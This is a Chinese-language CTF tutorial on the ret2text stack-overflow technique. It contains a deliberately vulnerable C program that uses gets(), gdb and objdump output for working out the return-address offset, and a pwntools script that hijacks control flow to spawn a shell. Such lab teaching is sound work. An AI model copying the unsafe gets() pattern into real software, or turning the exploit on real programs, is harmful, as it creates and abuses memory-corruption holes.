ret2text攻击技术示例

| categories tutorials  | tags CTF  pwn  rop 

什么是ret2text?

ret2text是指return to text,意思就是通过向缓冲区填入过多的数据,导致缓冲区溢出,覆盖了返回地址(return address),返回到程序某处可以被利用的代码后,达成相应的目的,也就是获取了程序中任意地址处代码执行的能力。

ret2text是最简单的栈溢出漏洞利用技术,不需要太多的技术基础就可以进行利用。

ret2text示例代码

//gcc -m32 -fno-stack-protector ret2text.c -o ret2text
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));
    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("/bin/sh"); /* [1] */

}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("There is something amazing here, do you know anything?\n");
    gets(buf); /* [2]  */
    printf("Maybe I will tell you next time !");

    return 0;

}

本节示例的漏洞程序也可以从该处下载:ret2text

漏洞分析

main函数里使用了不安全的gets()函数,因为没有对输入字符长度进行检查,所以会导致缓冲区溢出。我们的思路就是输入过长的数据,使buf溢出,覆盖了gets()函数的返回地址,并在返回地址处修改为system(“/bin/sh”)代码处的地址,这样当main函数返回,程序就会跳转到system(“/bin/sh”)处获取一个shell,从而完成攻击。

我们用gdb挂起程序,逐步调试。

    0x804869b <main+83>:	mov    DWORD PTR [esp],0x804876c
    0x80486a2 <main+90>:	call   0x8048480 <puts@plt>
    0x80486a7 <main+95>:	lea    eax,[esp+0x1c]
=>  0x80486ab <main+99>:	mov    DWORD PTR [esp],eax
    0x80486ae <main+102>:	call   0x8048460 <gets@plt>
    0x80486b3 <main+107>:	mov    DWORD PTR [esp],0x80487a4
    0x80486ba <main+114>:	call   0x8048450 <printf@plt>
    0x80486bf <main+119>:	mov    eax,0x0

执行到0x80486a7处,使用eax存储了buf的首地址,之后在0x80486ab处将eax的值压入栈中,这里我们查看eax寄存器的值为0xffffcd1c。同时我们观察,此时buf首地址处于栈顶,那我们来查看以下ebp寄存器的值,值为0xffffcd88,而ebp再下面即是返回地址,因此我们可以得出从buf首地址到返回地址之间的距离为

0xffffcd88 - 0xffffcd1c + 0x04 = 0x70

同时我们需要查看 system(“/bin/sh”)的地址

objdump -d ret2text

找到system()调用的代码处

804863a:	c7 04 24 63 87 04 08 	movl   $0x8048763,(%esp)
8048641:	e8 4a fe ff ff       	call   8048490 <system@plt>

我们只要将返回地址覆盖为0x804863a便可获取一个shell

攻击代码

from pwn import *

system_addr = 0x804863a
payload = ''
payload += 'A' * (0xffffcd88 - 0xffffcd1c + 0x04 )
payload += p32(system_addr)

io = process('ret2text')
io.sendline(payload)
io.interactive()

Previous     Next